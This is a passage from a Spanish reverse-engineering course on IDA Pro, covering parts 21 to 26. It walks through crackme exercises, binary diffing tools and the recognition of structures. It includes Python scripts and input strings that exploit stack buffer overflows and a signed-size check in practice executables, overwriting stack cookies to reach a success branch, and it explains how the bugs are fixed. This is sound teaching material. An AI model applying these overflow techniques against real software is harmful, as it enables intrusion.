p = Popen([r'VULNERABLE_o_NO.exe','f'],stdout=PIPE,stdin=PIPE, stderr=STDOUT)
primera="10\n"
p.stdin.write(primera)
time.sleep(0.5)
segunda="AAAA\n"
p.stdin.write(segunda)
testresult = p.communicate()[0]
time.sleep(0.5)
print(testresult)
print primera
print segunda
p = Popen([r'VULNERABLE_o_NO.exe','f'],stdout=PIPE,stdin=PIPE, stderr=STDOUT)
r
Redirecciona el standard input y output para que podamos mandarle caracteres como si
hubiéramos tipeado.
primera="10\n"
p.stdin.write(primera)
time.sleep(0.5)
segunda="AAAA\n"
p.stdin.write(segunda)
Vemos que hay dos ingresos primero el size que me pide, le pongo 10 para probar y luego
la data que ingresara con el gets_s con el size que le pasamos antes, puedo tipear menos
que 10.
Además le agregue un raw_input() para que una vez que arranque el proceso se detenga el
script de python hasta que apreto ENTER, lo cual me permite atachear el IDA al proceso
que arrancará y quedará esperando entrada por stdin.
Lo arrancamos.
Queda ahí detenido esperando que apretemos ENTER dándonos la posibilidad de atachear
el IDA.
Allí no se llega a ver el nombre del ejecutable porque el nombre de la carpeta es muy largo,
pero es ese, apreto OK y cuando se detiene apreto f9 para que quede RUNNING.
Si paso el mouse por encima de la variable size que es la que ingresamos el valor en el
scanf_s.
.
Allí vemos que en la variable Size ingreso el valor 10 decimal (0xA) que ingrese mediante el
script.
Si llego al getchar la realidad es que yo no pase ningún carácter 0xA en el script.
primera="10\n"
p.stdin.write(primera)
time.sleep(0.5)
segunda="AAAA\n"
p.stdin.write(segunda)
Vemos que quedo un carácter 0xA que yo no pase, el cual al leerlo lo quito del stdin y me
limpia para la siguiente entrada por teclado.
Vemos que compara mi size 0xA con el máximo 0x10 y como es menor continua.
Cuando paso con f8 el gets_s
Veo que ingresaron las siguientes A que pase en el script, así que el mismo funciona y me
permite probar y debuggear lo que va pasando.
Si lo vuelvo a tirar desde el script y cuando llego al getchar lo salteo cambiando el EIP para
que no lea el 0xA.
Cambiamos EIP allí para que no filtre el 0xa a ver qué pasa.
También ahora que tenemos el script podemos analizar el crash que se produce en gets_s
cuando uno tipea el máximo size a ver si pasa algo mas o es solo un crash.
primera="16\n"
p.stdin.write(primera)
time.sleep(0.5)
Si hago doble click en CANARY y apreto D varias veces hasta que sea un dword (dd),
también puedo anotar la dirección en mi caso 0x115fde8 y el valor de CANARY en este
caso será 965fa1f4.
Doy F9.
Allí está la excepción que produce la api en algunos Windows, acepto el OK.
Ahí está vayamos con G y coloquemos la dirección del buffer y luego la del canary a ver que
paso.
Y el buffer se llenó, así que tipear el máximo no produce overflow, lo que sí es cierto es que
el buffer se llenó completo y no quedar el cero final de la string, lo cual podría traer
problemas si el programa continúa, pero en este caso la excepción no es manejada y el
programa se cierra así que por acá solo es un crash.(también creo que pone un cero al
inicio del buffer para anular la string)
Si el programa manejara la excepción y continuará, debería descartar los datos del buffer
porque si lo tomara y usará como string, al no tener cero final, se podrían apendear datos
que están a continuación en el stack y provocar problemas, pero al poner el cero al inicio la
anula igualmente.
Bueno ya sabiendo que por aquí no hay overflow volvamos al análisis estático.
Quiere decir que si pasara como size -1 tendría posibilidad de que pase la comparación
veamos.
primera="-1\n"
p.stdin.write(primera)
time.sleep(0.5)
Al parar en el breakpoint.
Vemos que como 0xFFFFFFFF es -1 al considerar el signo no filtra y seguirá a leer ese
size.
La realidad que en el gets_s lo mismo que un memcpy y cualquier api que copie o ingrese
bytes los sizes son interpretados como unsigned, porque no existen los tamaños negativos,
como no se pueden ingresar o copiar -1 bytes, eso es imposible, lo interpreta como
0xFFFFFFFF positivo lo cual vemos que producirá un overflow.
Podemos ver mejor cuanto copio si lo transformo en string, en el inicio de la string apretó A.
Y si lo transformo en ARRAY
Veo también que llega hasta el final del stack, piso el CANARY piso todo.
Lo lleno de Aes hasta el final del stack, justo abajo veo que ya cambia a otra sección a
debug009.
Con lo cual verificamos que es vulnerable ahora como se podría arreglar, obviamente si en
vez de usar un salto JL o JLE que considera el signo usáramos JB o JBE que no lo
considera si pasamos -1 será 0xFFFFFFFF pero en la comparación lo tomara como positivo
y será más grande que 0x10 y saldrá afuera.
Vemos que con solo cambiar el tipo de variable a UNSIGNED cambio al compilar el tipo de
salto al que no considera el signo.
Arreglo el script cambiando el nombre para que cargue este nuevo ejecutable el resto lo
dejo igual.
Analizo el nuevo ejecutable en IDA en el LOADER y luego arrancó el script y antes de
apretar ENTER, atacheo el LOCAL DEBUGGER y pongo un BREAKPOINT en la
comparación del size para que pare allí a ver que pasa.
Ahora va a EXIT y evita el overflow ya que JBE considera ese 0xFFFFFFFF como no le
importa el signo, como un número positivo grande y mayor que 0x10, con lo cual está
reparado el programa.
Por lo tanto la respuesta al ejercicio es que era VULNERABLE y que se repara cambiando
el size de INT que es SIGNED a UNSIGNED INTEGER con lo cual cambia el salto JLE por
JBE de un salto que considera el signo a uno que no lo hace.
Hasta la parte 22
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
22
_________________________________________________________________________
DIFFERS
Obviamente este trabajo no es sencillo, sobre todo cuando de una versión a otra ha habido
muchos cambios, los cuales pueden ser desde la aplicación de algún parche de seguridad
para solucionar alguna vulnerabilidad, como también puede haber mejoras en el programa,
agregados en la interfase, cambios generales, etc.
Los que tenemos que trabajar con differs sabemos que cuanto más grande y más cambios
haya en el ejecutable, más ingrato es el trabajo ya que el differ comete algunos errores al
matchear.
Vamos a ver los tres differs más conocidos que usaremos en general, para ir instalándolos y
conociéndolos, cada uno tiene su punto fuerte y su punto débil, la realidad hace que a
veces haya que usar más de uno en casos complejos para tratar de aclararse.
https://www.zynamics.com/software.html
Ahora sí, la primera columna nos muestra la similaridad, las que dicen 1.00 son iguales y
cuanto más bajo es el número, más diferentes son, conviene hacer click en la parte superior
de esa columna para que las ordene de más diferente a más similar.
Allí vemos el cambio, como sabemos cambiar un salto JLE por JBE es algo que puede
evitar un BUFFER OVERFLOW, por lo tanto si en un programa del cual tenemos ambas la
versión vulnerable y la versión parcheada y mirando las funciones cambiadas en alguna
encontráramos esto sabremos que tendremos que ir a reversear estáticamente esa función
a ver si realmente es la vulnerable del programa.
Una de las ventajas de BINDIFF sobre los otros dos es que el gráfico es interactivo, no una
imagen solamente, tiene un buscador arriba.
Lo cual es muy útil, y también se pueden buscar direcciones y cualquier texto que este en el
gráfico.
Tiene muchas cosas buenas el bindiff sobretodo en la parte gráfica, tiene algunos
problemas de matcheo en programas grandes, pero es una de las mejores opciones a tener
en cuenta.
TURBODIFF
Es un differ creado por mi compañero de Core Nicolas Economou, el mismo estará adjunto
con el tute, también se puede descargar de la web de CORE SECURITY pero es una
versión anterior a la que puse adjunta.
Allí pudo apretar CTRL mas F y buscar changed o suspicious para que me muestre las
cambiadas.
Obviamente los gráficos son imágenes y no son interactivos, pero es un differ muy rápido
realmente el más rápido, se nota mucho en ejecutables grandes y que no muestra
demasiados cambios tontos como el bindiff, asumiendo muchos como no importantes lo
cual en grandes trabajos se agradece.
Si uno no le gusta la forma de los gráficos puede usar ambos differs a la vez y luego ver los
resultados en el gráfico del bindiff.
DIAPHORA
https://github.com/joxeankoret/diaphora
No es necesario instalarlo puedo descomprimirlo en cualquier lugar y solo es necesario
tener instalado Python en la máquina lo cual si tenemos IDA ya lo tendremos.
En el segundo lugar buscamos la SQL database del parcheado que exportó antes .
Y buscamos el de la no vulnerable.
Apreto OK así como esta.
Vemos que hay una pestaña BEST MATCHES con las que no hay duda de que son iguales.
Vemos que tiene varias opciones para graficar la primera DIFF ASSEMBLY.
Es como muy preciso y detallado pero cuando ves cien funciones así, te quieres matar jeje,
veamos la segunda opción DIFF ASSEMBLY IN A GRAPH.
Este gráfico es un poco mejor, aunque no es interactivo, el bloque importante cambiado
está en rojo y en amarillo los que tienen cambios menores como el nombre de una variable.
La otra opción DIFF PSEUDO CODE usa el plugin HEX RAYS que trae el IDA incluido que
trata de armar un código fuente a partir del ejecutable.
Vemos que en el vulnerable que habíamos reverseado nosotros a mano y determinado que
había un buffer de 16 bytes, a esa variable Buf la detecta como buffer, pero en el otro como
no hicimos el mismo trabajo no lo detecta sino como una variable char nada más, también
muestra que la variable es signed en el vulnerable y en el otro no dice nada lo que supone
que será unsigned.
Otra característica de diaphora es que es el más lento (está programado en python contra C
del turbodiff) y en ejecutables grandes es muy largo el análisis y macheo.
https://telegram.me/CLSExploits
Hasta la parte 23 donde estará la solución del ejercicio.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
23
_________________________________________________________________________
La función es basada en EBP como los anteriores, lo que tiene de diferente este ejemplo
que está compilado con DEVC++, que tiene una forma particular de compilar las llamadas a
las apis, diferente de lo acostumbrado y que al que no lo vio nunca lo puede marear.
Bueno vamos por partes dijo Jack, lo primero que vemos es la función main, si no les
aparece también pueden llegar a la función importante mirando las strings.
Haciendo doble click en la string “You are a winner man je”, llegamos a.
Pasando el mouse por la flechita de la referencia podemos ver de dónde se la llama.
Cambio a color verde la parte donde debo llegar que sería el CHICO BUENO.
Vemos que justo antes hay una comparación de una variable var_C con una constante
0x51525354.
Si hacemos click derecho en ese valor 0x51525354, salen las alternativas para
representarlo.
Puedo cambiarlo por las letras QRST que son los caracteres ASCII de ese valor
hexadecimal.
Algo que podemos darnos cuenta, es que este compilador no utiliza el CANARY de
protección, pues al inicio de la función se debería leer el mismo de una dirección de la
sección data y se xorea con EBP y se guarda justo arriba del STORED EBP en el stack y
además se lo lee nuevamente justo antes de finalizar la función para llamar al CALL que lo
chequea, nada de eso pasa aquí, si vemos el análisis estático del stack, haciendo doble
click en cualquier variable.
Vemos que lo único que hay en el stack, justo arriba del STORED EBP, es la variable
var_C que la compara con la string QRST para ir a chico bueno, con lo cual se descarta que
sea el CANARY, pues en este caso es un chequeo que es código original del programa, un
CANARY no se mezcla con decisiones del código original del programa, es algo agregado
por el compilador, externo al código original.
La cual se usa dos veces en la función, pero realmente nosotros podemos cambiar el valor
de dicha variable para hacer que el programa vaya a chico bueno?
Los que miran este código lo primero que les llama la atención es que hay variables y
argumentos relativos a EBP y hay otras que están tomadas con ESP como referencia.
Todo ese código inicial es agregado por el compilador para setear ESP justo arriba de las
variables y buffers locales, luego del SUB ESP, 0B8 se ajusta con esto, aunque nunca lo
varía mucho más que alinearlo y redondearlo, podríamos hacer las cuentas, pero si no
queremos complicarnos la vida, podemos debuggear para ver a qué valor queda ESP justo
al terminar todo esto y empezar con el código original de la función.
El que tenga ganas de debuggear lo puede hacer pero tenemos otra ayuda de IDA que es
muy útil que es la variación de ESP a partir del inicio de la función que se toma como 0.
Por eso la tercera línea tiene el mismo 004 porque no cambió ESP.
Recordemos que ESP y EBP quedan iguales y EBP será a partir de aquí la referencia
quedando ambos a 4 del ESP del inicio.
La siguiente línea le resta 0xB8 a ESP con lo cual queda a 0xBC del inicio y como EBP
quedó en 4 la diferencia entre EBP y ESP será justo 0xB8.
Vemos que luego la distancia no cambia más ni siquiera al pasar el CALL ALLOCA y CALL
_MAIN que son agregados por el procesador, así que podemos concluir que no le afecta
todo eso, y que la distancia entre EBP y ESP es de 0xb8 que es el espacio para la variables
locales y buffers.
Allí ya empieza el código de la función en sí, y la distancia de ESP con respecto al inicio
quedó en 0xBC y 0xB8 es la zona reservada para variables y buffers.
A la variable var_9c como es una variable temporal creada por el compilador y no se usa
más le pondremos TEMP.
Debajo de TEMP tenemos el Buffer, haciendo click derecho ARRAY vemos que el largo es
140 decimal por el largo 1 byte de cada elemento, así que el largo del Buffer es 140
decimal.
Si lográramos desbordar el Buffer copiando al mismo más de 140 bytes, el mismo tendría
una vulnerabilidad del tipo Buffer Overflow, explotando la cual se podría pisar la variable
var_DECISION y si pudiéramos escribir más hacia abajo aun, llegaríamos a pisar el
STORED EBP y el RETURN ADDRESS dependiendo de cuanto podamos copiar.
Continuemos con el reversing, el punto más álgido de la compilación es la forma como pasa
los argumentos a las funciones, en vez de usar PUSH para guardar los argumentos en el
stack, los guarda directamente con MOV, veremos esto.
Ahí se ve claro en este caso printf tiene un solo argumento que es el la dirección a la string
“You are a winner je”, y ningún otro argumento más.
Vemos que guarda esa dirección ya que usa la palabra OFFSET delante, y la guarda en el
stack, pero dónde? la notación no nos ayuda mucho pero si hacemos click derecho veremos
alguna notación alternativa.
Si cambiamos por esto
Vemos que lo que realmente está haciendo es colocar en el contenido de ESP (que es la
posición superior del stack) la dirección de la string para usarla como argumento, o sea que
este programa en vez de hacer PUSH a la posición superior del stack, mueve los
argumentos a las posiciones del stack con MOV, y lógicamente el PUSH cambiaría el valor
de ESP, mientras que un MOV no, se puede apreciar en el valor BC justo antes de la
función.
Lo mismo pasa en todas las otras apis si aplicamos el mismo criterio solo en las que pueden
ser argumentos de apis, haciendo click derecho y cambiando por la notación alternativa, nos
queda mucho más entendible el código.
Vemos que el primer printf el cual tiene tres argumentos pues hace format string
reemplazando en la string “buf : %08x cookie : %08x\n”.], por los dos argumentos
superiores.
Si uno lo ejecuta fuera de IDA vemos que es la impresión en la consola de las direcciones
de ambas variables, ya que reemplaza en la string original haciendo format string, por el
valor hexadecimal de ambas direcciones porque usa %x que es la conversión para imprimir
el valor hexa.
Luego continúa llamando a la función gets la cual ingresa caracteres por teclado sin ningún
límite, por lo cual puede escribir más de 140 caracteres sin problema.
Aquí también le pasa como argumento al contenido de ESP, la dirección del Buffer que es
donde escribirá.
Así que sabemos que si escribo por ejemplo 140 Aes y luego TSQR ya que debe estar al
revés por el little endian, el programa me debería saltar a chico bueno ya que pisaremos la
variable var_DECISION que está justo debajo del Buffer, con el valor QRST, probemos
primero a mano, antes de hacer el script.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAATSRQ
Lo corro en una consola sino se cerrará y no veré la string si sale, cuando queda esperando
le pego la string y...
El script es muy sencillo también es igual que el anterior en este caso no tiene dos entradas
por stdin sino solo una
testresult = p.communicate()[0]
print primera
print(testresult)
Ahí se ve el resultado, muchos no habrán podido hacerlo por la forma de pasar los
argumentos, pero ahora les será más sencillo hacer el ejercicio 2 ya que es muy parecido y
esta compilado en forma similar, pero ya saben el truco.
Hasta la parte 24
Ricardo Narvaja
.
INTRODUCCIÓN AL REVERSING CON
IDA PRO DESDE CERO PARTE 24
_________________________________________________________________________
La solución al IDA2.exe es bastante similar al anterior solo que aquí hay dos variables, o podemos
llamarlas cookies para comparar en vez de una sola, para que te lleve a la zona de chico bueno.
Veamos si hay algún lugar donde se pueden modificar esas variables, las renombramos a cookie y
cookie 2 ya que el mismo programa las llama así.
Vemos que los únicos lugares donde hay acceso a dichas variables es cuando en el printf mediante
lea obtiene las direcciones de las mismas para imprimirlas pero no se puede alterar su valor allí.
Si apretamos la x en cualquiera de ambas variables, solo se accede dos veces una para hallar la
dirección antes de pasársela al printf y la segunda cuando ya compara el valor.
Así que si no se puede cambiar el valor de dichas variables, como podremos llegar hasta el cartel de
chico bueno para llegar al mismo si ambas variables deben tener un valor específico?
La otra posibilidad de llenar esas variables, sería que haya un overflow en algún buffer que permita
sobrescribir su valor.
Ahí vemos una variable var_10 veamos que es, allí vemos que la inicializa a cero veamos los otros
lugares donde la usa con la x.
Allí vemos los tres lugares en que la usa el primero es cuando la inicializa a cero.
Veamos los otros dos pero antes acomodemos los argumentos que se le pasan a las apis para que no
quede tan feo, usando la técnica que vimos en mi tute del IDA 1, haciendo click derecho en las
mismas y cambiando por una representación alternativa que nos muestra el ida allí.
Ahora quedo más lindo y se ve claro cómo guarda los argumentos en el stack para pasarlos a las
apis.
Ahora veamos donde usa la variable.
Vemos que allí con el lea obtiene la dirección de la variable y luego incrementa su contenido o sea
que aumenta el valor de la misma.
Luego obtiene nuevamente la dirección de la variable y la pasa como argumento de printf o sea que
imprime la dirección de la misma no el valor, si llegamos a la zona buena.
Como el mensaje dice flag podemos renombrarla con ese mismo nombre, lo que sí vemos es que no
influye en nada.
Solo nos queda estudiar el buffer ya que las variables que están por encima son variables creadas
por el procesador y temporales, no del programa en sí.
El primer acceso a Buffer obtiene la dirección y se la pasa printf para imprimirla y el segundo le
pasa la dirección a gets para que reciba lo que tipeamos.
Para ver el size de ese buffer en la representación del stack hacemos click derecho- array y veamos
el size que ida nos sugiere.
Nos sugiere 68 decimal de largo, como cada elemento es de un byte el largo será 68 decimal,
aceptamos.
Allí vemos el buffer y además viendo esta representación sabemos que llenando el buffer con 68
caracteres estaremos justo a punto de desbordarlo y cómo gets no tiene ninguna restricción
podremos desbordar el Buffer y pisar con cuatro bytes más la variable cookie que está a
continuación luego con otros cuatro bytes piso flag que es un dword (dd) y con otros cuatro piso
cookie 2,
cookie=struct.pack("<L",0x71727374)
cookie2=struct.pack("<L",0x91929394)
flag=struct.pack("<L",0x90909090)
testresult = p.communicate()[0]
print primera
print(testresult)
Listo el pollo le ponemos a las cookies los valores correspondientes y a flag 0x90909090 o lo que
sea que no moleste pues no influye.
Y allí está jeje
Hasta la próxima para practicar pueden hacer el IDA3.exe y el IDA4.exe que esta adjunto
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 25
________________________________________________________________________
ESTRUCTURAS
En esta parte comenzaremos el estudio de como ayuda IDA PRO a reversear cuando el programa utiliza
estructuras.
Al final de esta parte estarán las soluciones de IDA3 e IDA4 brevemente pues ya es un tema sabido así que
será bien breve la solución.
No es necesario una definición muy técnica pero vimos que los ARRAYS eran tipos de datos contenedores,
que reservaban un espacio en memoria para sus campos los cuales eran todos del mismo tipo, así puede haber
ARRAYS de bytes, de words, de dwords, el tema es que en un mismo array no puede haber campos de
diferente tipo.
Ahí vemos un ejemplo de un ARRAY que tiene size 34, y cada elemento tiene size 2 o sea cada elemento es
un Word, por lo cual el largo total del mismo será 34 * 2 o sea 68 decimal.
En este array de ejemplo, cada elemento es un word o sea que ocupa 2 bytes, si quiero un array que tenga
elementos de 1 solo byte deberé construir otro array, ya que no puedo mezclar en el mismo datos de diferente
tamaño o tipo.
La Estructura por otro lado permite mezclar diferentes tipos de datos de diferentes tamaños dentro del mismo.
Ahí está la definición más elegante pero es eso, podremos tener un contenedor de diferentes tipos de datos y
acá el largo será la suma del largo de todos los miembros o campos.
struct MyStruct
{
char * p_size;
char size;
int cookie;
int leidos;
int cookie2;
int maxsize;
int(*foo2)(char *);
void * buf2;
char buf[50];
};
En C++ podríamos definir una estructura de esa forma, en este ejemplo vemos la estructura llamada MyStruct
que tiene varios campos dentro, no es necesario que seamos grandes genios de la programación para darnos
cuenta de que no es lo mismo una variable int que una variable char o un buffer de 50 bytes.
Si tengo Visual Studio, puedo ver el size de toda la estructura que es 0x54.
Hago esto para verificar después lo que hagamos en IDA, no tiene mucha importancia si no tienen mucha idea
de cómo se maneja Visual Studio, lo toman como información.
Vemos que la suma total de los campos me da un poco menos que la cantidad que asigna al compilar pero eso
suele pasar que el compilador asigne un poco más.
El puntero a una variable carácter es de largo cuatro porque es un puntero que es un dword y su contenido
apunta a una variable carácter.
Lo mismo los otros punteros a función y a buffer son punteros que son dwords o sea que su largo es 4 bytes y
que apuntan a diferentes tipos de datos de diferente largo, pero en la estructura solo se guarda el puntero o sea
que cada uno solo suma 4 bytes.
En cambio el ultimo buffer no es un puntero (no tiene el asterisco (*), así que es un buffer que está
directamente dentro de la estructura ocupando 50 bytes de la misma).
Lo importante de todo esto, más que los largos en sí, es darse cuenta que las estructuras son contenedores de
diferentes tipos de datos y que es muy difícil que al desensamblar, IDA pueda reconocer cada campo y su tipo
automáticamente, sobre todo si no tenemos los símbolos.
Vemos un código sencillo que recibe un argumento a través de la consola si no lo ejecutamos con algún
argumento saldrá diciéndonos “Bye Bye”
if (argc != 2) {
printf("Bye Bye");
exit(1); }
Además de la definición de esta estructura como tipo de dato, podemos hacer que haya variables que además
de poder ser del tipo int, char, float o el tipo que sea, además puede haber variables del tipo MyStruct.
De la misma forma que declaramos una variable entera por ejemplo poniendo el tipo de dato delante
int pepe;
MyStruct valores;
Con lo cual la variable valores será del tipo MyStruct tendrá la misma definición, el mismo largo y los
mismos campos.
MyStruct pinguyo;
valores.size
pinguyo.size
valores.cookie2
De esta forma en el programa se asignan los valores a algunos campos de la variable valores.
valores.cookie2 = 0;
valores.size = 50;
Y luego se hace un strncpy de las aes que están en la variable argv[1] al buffer de 50 bytes decimal
valores.buf, tomando como máximo size, el valor de valores.size que es 50.
Así que no habrá overflow pues copia 50 bytes a un buffer de 50 bytes de largo, no desborda.
Luego imprime lo que tipeamos que está ahora guardado en valores.buf para mostrarlo.
printf(valores.buf);
Y finalmente hay una llamada a getchar() para que no se cierre solo hasta que apretemos alguna tecla y
podamos ver las Aes.
Ahora abramos el ejecutable en IDA y vamos a ver cómo podemos interpretar esto.
Vemos que cuando hay símbolos todo es felicidad, IDA detecto a valores como una variable del tipo
MyStruct, sin problema, incluso dentro del código vemos que accede a los campos de la estructura con su
nombre perfectamente.
También aquí
Vemos que detecta el buffer de 50 bytes ya lo tiene renombrado como valores.buf, en el strncpy y en el printf
final.
Vemos que los largos y los nombres están de acuerdo a lo que había definido la variable size de 1 byte o db,
la variable cookie2 4 bytes o dd y buf de 50 bytes decimal.
struct MyStruct
{
char size; // largo 1
int cookie2; // largo 4
char buf[50]; // largo 0x32
};
Incluso en IDA hay una pestaña LOCAL TYPES para editar e ingresar estructuras en formato c++, puedo ver
si está allí.
Hay muchas pero como tengo el filtro con CTRL +F pongo My y me sale
Y puedo ver haciendo click derecho EDIT
Que esta correcta.
Pero como en la vida no todo es alegría y casi nunca tendremos símbolos, habrá que traspirar un poco ya que
IDA no podrá detectar sin ellos los campos ni la estructura, aunque nos da las herramientas interactivas para
hacerlo.
El tema es que este es un programa como una sola función, y una estructura sencilla, pero ya veremos más
adelante en programas con muchas funciones y estructuras complejas donde se pasan la misma de una a otra
función por medio de la dirección de inicio de la estructura, que es muy difícil saber en medio del programa
sino lo vas armando como estructura, a que corresponde cada campo.
Ya lo veremos igualmente pero por ahora créanme, en reversing hay que saber trabajar como estructuras.
Por ahora en este caso el reversing como variables individuales funcionaria, pero pongámosle ganas y
hagámoslo como si ya sabemos que es una estructura, más adelante veremos cómo detectar cuando es una
estructura y cuando son variables locales sueltas.
Ya conocemos de reversing anteriores el CANARY, así que lo renombramos.
Compara argc con 2 si es igual sigue y si no va a imprimir Bye Bye y a Exit, lo pintamos de rojo eso y verde
la parte buena.
Luego vemos que guarda 0x32 en una variable y que más adelante usa 0x32 como size del strncpy, en el
código nuestro usaba la variable como largo, pero aquí para ganar espacio lo pone directo con PUSH 0x32.
Vemos pasando el mouse por encima, que la detecta como variable de un byte (db).
También vemos haciendo click derecho que las otras representaciones nos muestran que es una variable de un
byte ya que la instrucción lo dice.
Igual la renombraremos como cookie2 pero si no sabríamos le pondríamos cualquier nombre total no la usa
más y no afecta en nada.
Casi siempre los buffers van a tener alguna referencia que sea LEA, ya que para llenarlo habrá que pasarle la
dirección del mismo a alguna función como en este caso strncpy y el LEA la obtiene.
En este caso reservo 52 en vez de 50 lo cual suele suceder.
Ya vemos la representación del stack completa con esto ya podemos saber que no hay overflow, porque
sabemos que el buffer Dest tiene como largo 52 y copia al mismo 0x32 bytes hexa en el strncpy.
O sea que copia 50 bytes decimal a un buffer de 52 lo cual hace que no sea vulnerable y no haya overflow.
Con esto ya estaría pero bueno hay que empezar de a poco con el tema estructuras y aunque en este ejemplo
no sea necesario, lo usaremos.
Así que marco esa zona y voy al menú a EDIT-CREATE STRUCT FROM SELECTION
Y nos quedara así, si vemos en la pestaña estructuras.
Una variable struct_0 del tipo struct podría quedar así pero renombraremos para que coincida con el código.
Así que ya nos está quedando parecido a cuando teníamos los símbolos.
Vemos que al menos en esta función que es donde está definida la variable valores los campos los cambio de
nombre automáticamente a valores.xxxx
Obviamente esta es la forma más sencilla, tenemos que saber que muchas veces en estructuras complejas
habrá que reversear campo a campo y pelear para tenerla lo más completa posible.
Veamos cual es la cantidad de bytes que necesito para llegar a desbordar hasta COOKIE.
Como COOKIE esta justo debajo de BUFFER que mide 68 bytes decimal, entonces pasando
68 * ‘A’ + “ABCD”
Me desbordaría el buffer y pisaría COOKIE, veamos qué valor necesito en dicha variable para llegar a chico
bueno.
Vemos que a pesar de que no hay un chico bueno definido, me deja imprimir lo que yo quiera, ya que
imprime lo que guarda en el Buffer si pasa el chequeo de ambas cookies, puedo poner en el Buffer en vez de
Aes.
“Lo pude hacerrrr!!!!”
Iremos armando el script también vemos que luego de COOKIE vienen 4 bytes para Flag y los 4 siguientes
serán la COOKIE2
Si lo ejecuto.
Vemos que acomode la string delante y le reste a los 68 bytes el largo de la misma string para que se
mantenga en total siendo 68, y no se mueva lo que piso en cookie y cookie2.
Luego le pasa el Buffer a gets, así que sabemos que será vulnerable, igual miremos el largo del buffer.
Vemos que las dos cookies se pasan como argumentos de la función check, más una variable var_4 que aún
no sabemos que es, le pondremos FLAG de última le cambiamos el nombre.
Vemos que el argumento más lejano es FLAG, luego COOKIE y finalmente COOKIE2, entremos a la
función.
Con eso ya salimos de la función check pero aún falta algo más, vemos que el valor que devuelve la función
check es el valor de flag.
Que es el valor que guarda en var_8 y al final compara, así que flag debe ser ese valor 35224158.
Si lo probamos.
Así que funciona, nos vemos en la parte siguiente con más estructuras.
Hasta la parte 26
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
26
_________________________________________________________________________
La idea de que al programar podamos tener la mayor parte de lo que necesitamos agrupado
dentro de una o varias estructuras tiene bastante sentido.
Si yo por ejemplo, creo un programa y este usa muchas diferentes tipos de datos, algunos
en ciertas partes o varias del programa, se modifican, se usan etc, estar pasando como
argumento entre funciones tantos diferentes valores de distinto tipo, se hace bastante
pesado, mientras que usando estructuras los agrupamos y siempre solo pasando la
dirección donde comienza la estructura, puedo leer o modificar en cualquier parte del
programa, cualquier campo de la misma.
Vemos que en este ejemplo hay una estructura MyStruct pero en este caso en vez de estar
declarada localmente en el stack está declarada como global lo cual es posible también y
me da la posibilidad de manejarla mejor entre funciones sino será valida solo en el main en
este caso, aunque no es la única posibilidad, ya veremos más adelante el heap y como se
manejan estructuras y variables allí.
Vemos que la definición de la estructura está fuera del main y de cualquier función y eso la
hace global, de cualquier manera la variable pepe que es del tipo MyStruct es local y está
declarada en el stack.
Entendemos la idea del programa de ir pasando un puntero a la estructura pepe y así poder
leer o cambiar valores en la misma, dentro de las tres funciones enter, check y decisión.
Allí lo compile con símbolos, no me da mucha mas info, porque al ser la definición global no
es fácil que ida detecte que la variable pepe es del tipo estructura.
Vemos que en el main que hay un BUFFER
Vemos que el largo del buffer es 16 por 1 de cada elemento o sea que es 16 decimal, hasta
acá si no conocemos el código, esto sería un buffer más y no tengo ni idea que es un
campo de una estructura.
Acepto el largo.
Vemos que las otras variables locales si apretamos X para ver donde se usan.
Vemos que todas se inicializan a cero y no se vuelven a usar, lo cual es sospechoso en una
variable local, para que se crea y inicializa si no se usa, aquí se empiezan a encender
algunas alarmas.
Vemos que halla la dirección del buffer y la pasa como argumento, lo cual es perfectamente
posible, pudiéndose llenar el buffer dentro de una de estas funciones.
Entremos en check.
Lo renombro como pBuffer ya que es un puntero o dirección, porque uso LEA y no paso el
valor sino la dirección donde está la variable Buffer.
Vemos que esta correcto ya que EAX tiene la dirección de Buffer que se obtuvo con LEA.
Aquí vuelve a saltar otra alarma si el buffer es de 16 de largo o sea 0x10, vemos que a la
dirección de Buffer la suma 0x10 y no está escribiendo en el mismo sino a continuación,
justo debajo.
Esto ya me da que pensar, si le pasas un puntero al buffer, luego estás escribiendo fuera,
es el típico comportamiento de las estructuras, se pasa la dirección inicial a una función y
luego se puede acceder a cualquier campo, en este caso algo que está debajo de un primer
campo BUFFER.
Vemos que está escribiendo en var_10 por lo tanto eso solo puede pasar si al menos Buffer
cómo var_10 son campos de una estructura.
Muchos se preguntan porque tengo que mirar el stack del main en vez de la función check?
El tema es que al pasarle la dirección de Buffer, dicha dirección donde comienza el mismo y
el mismo Buffer están en el main, y si sumo 0x10 a esa dirección llegare al var_10 del main,
el cual como es una variable local no tendría sentido dentro de check, pero si tiene sentido
si pertenece a una estructura.
Y en el main donde está todo declarado, veo que está todo bien.
Volvamos a la función enter.
Cambio el nombre a ppepe por puntero a pepe y apreto Y borro la declaración, acepto y
apreto Y de nuevo para la nueva declaración.
Sigamos reverseando.
Aquí está usando un campo de la estructura ya que mueve a ECX la dirección inicial y luego
le suma 0x14 para guardar en un campo de la misma aquí ya no necesitamos hacer
cuentas, apreto T en esa instrucción.
Elijo a qué estructura de las existentes corresponde y veo ahí en la lista que está MyStruct.
Vemos que es el loop que se coloca para filtrar los 0a después de un scanf, es un campo
auxiliar en el código se llama c pero puede tener cualquier letra o nombre.
Cada vez que se pase el puntero a la estructura a un registro y luego se le suma un offset
Por lo tanto la primera función fue solo para leer el número que tipeamos y guardarlo en el
campo número.
Allí veo que compara un campo con 0x10, apreto T en esa instrucción.
Compara el número que pusimos con 0x10 considerando el signo, esto es peligroso si se
usa como size luego.
Vemos que al manejarnos como estructura, el campo lo lee en una función, lo chequea en
otra función y luego lo usara posiblemente en una tercera y si vamos siguiendo el puntero a
la estructura siempre podemos determinar qué campo es sin tener que debuggear,
haciéndolo como variables sueltas se complica determinar que es el mismo valor siempre.
Allí hay otro campo apreto T.
Veo que el campo número es usado como size de un gets_s pero ese número podría ser
0xffffffff pues el chequeo anterior era con signo y en ese caso 0xffffffff es -1 y es menor que
0x10 y lo pasa perfectamente.
Vemos que al gets_s se le pasa la dirección de ppepe, como el primer campo es el Buffer
escribirá allí.
